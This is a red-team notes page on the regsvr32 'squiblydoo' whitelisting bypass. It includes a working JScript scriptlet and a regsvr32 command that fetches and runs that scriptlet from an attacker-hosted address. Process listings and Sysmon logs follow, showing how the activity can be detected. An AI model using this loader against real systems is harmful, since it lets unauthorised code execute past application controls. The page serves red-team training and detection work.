

What is ired.team notes?

PINNED

- Pentesting Cheatsheets>
- Active Directory & Kerberos Abuse>

OFFENSIVE SECURITY

- Red Team Infrastructure>
- Initial Access>
- Code Execution✓

regsvr32

- MSHTA
- Control Panel Item
- Executing Code as a Control Panel Item through an Exported Cplapplet Function
- Code Execution through Control Panel Add-ins
- CMSTP
- InstallUtil
- Using MSBuild to Execute Shellcode in C#
- Forfiles Indirect Command Execution
- Application Whitelisting Bypass with WMIC and XSL

- Powershell Without Powershell.exe
- Powershell Constrained Language Mode Bypass

- Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse

- pubprn.vbs Signed Script Code Execution

- Code & Process Injection>

- Defense Evasion>

- Enumeration and Discovery>

- Privilege Escalation>

- Credential Access & Dumping>

- Lateral Movement>

- Persistence>

- Exfiltration>

REVERSING, FORENSICS & MISC

- Internals>

- Cloud>

- Neo4j

regsvr32

regsvr32 (squiblydoo) code execution - bypass application whitelisting.

Execution

```
http://10.0.0.5/back.sct

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
  </script>
</registration>
</scriptlet>
```

We need to host the back.sct on a web server so we can invoke it like so:

```
attacker@victim

regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll
```

Observations

GoogleCrashHandler64.exe	8:19:13 PM 7/9/2018		1,644 K	1,440 K	2860 Google Crash
explorer.exe	10:17:53 PM 7/9/2018	0.01	49,460 K	70,504 K	1548 Windows Exp
VBoxTray.exe	10:17:56 PM 7/9/2018	< 0.01	2,648 K	7,216 K	1992 VirtualBox Gu
chrome.exe	10:17:57 PM 7/9/2018	0.59	56,380 K	147,740 K	1336 Google Chron
powershell.exe	11:44:24 PM 7/9/2018		37,796 K	46,644 K	3324 Windows Pov
regsvr32.exe	11:26:04 PM 7/12/2018	0.81	3,812 K	12,656 K	2432 Microsoft(C)
calc.exe	11:26:04 PM 7/12/2018		5,404 K	10,764 K	3792 Windows Cal
Code.exe	10:45:47 PM 7/10/2018	< 0.01	41,256 K	97,796 K	3468 Visual Studio
proccxp64.exe	11:05:30 PM 7/11/2018	2.26	18,492 K	29,564 K	3964 Sysinternals F
Tcpview.exe	11:09:31 PM 7/11/2018	0.58	7,284 K	12,976 K	3920 TCP/UDP en
regedit.exe	10:46:51 PM 7/12/2018		4,128 K	6,908 K	3232 Registry Editc
PDFStreamDumper.exe	11:17:33 PM 7/12/2018	< 0.01	11,108 K	14,560 K	2628
MpCmdRun.exe	11:24:25 PM 7/12/2018	< 0.01	3,844 K	7,636 K	772 Microsoft Mal
calc.exe	11:25:27 PM 7/12/2018		5,468 K	10,852 K	3056 Windows Cal

calc.exe spawned by regsvr32.exe

Note how regsvr32 process exits almost immediately. This means that just by looking at the list of processes on the victim machine, the evil process may not be immedialy evident... Not until you realise how it was invoked though. Sysmon commandline logging may help you detect this activity:

t	event_data.CommandLine	🔍🔍🔍*	"C:\Windows\System32\calc.exe"
t	event_data.Company	🔍🔍🔍*	Microsoft Corporation
t	event_data.CurrentDirectory	🔍🔍🔍*	C:\Users\mantvydas\
t	event_data.Description	🔍🔍🔍*	Windows Calculator
t	event_data.FileVersion	🔍🔍🔍*	6.1.7600.16385 (win7_rtm.090713-1255)
t	event_data.Hashes	🔍🔍🔍*	MD5=10E4A1D2132CCB5C6759F038CDB6F3C9,SHA256=C6A91CBA00BF87CDB064C49ADAAC82255C1
t	event_data.Image	🔍🔍🔍*	C:\Windows\System32\calc.exe
t	event_data.IntegrityLevel	🔍🔍🔍*	High
t	event_data.LogonGuid	🔍🔍🔍*	{9DC8CF1F-D0FC-5B43-0000-00209C511300}
t	event_data.LogonId	🔍🔍🔍*	
t	event_data.ParentCommandLine	🔍🔍🔍*	


Additionally, of course sysmon

This site uses cookies to deliver its service and to analyse traffic. By browsing this site, you accept the [privacy policy](#).

AcceptReject

```
t message      🔍 🔍 📄 * Network connection detected:
                UtcTime: 2018-07-10 08:35:15.935
                ProcessGuid: {9DC8CF1F-D57C-5B47-0000-00105172FA00}
                ProcessId: 2432
                Image: C:\Windows\System32\regsvr32.exe
                User: mantvydas-PC\mantvydas
                Protocol: tcp
                Initiated: true
                SourceIsIpv6: false
                SourceIp: 10.0.0.2
                SourceHostname: mantvydas-PC
                SourcePort: 49981
                SourcePortName:
                DestinationIsIpv6: false
                DestinationIp: 10.0.0.5
                DestinationHostname:
                DestinationPort: 80
                DestinationPortName: http
```

References



Signed Binary Proxy Execution: Regsvr32, Sub-technique T1218.010 - Enterprise | MITRE ATT&CK®

>

<

Previous
Code Execution

Next
MSHTA

>

Last updated 6 years ago

This site uses cookies to deliver its service and to analyse traffic. By browsing this site, you accept the [privacy policy](#).

×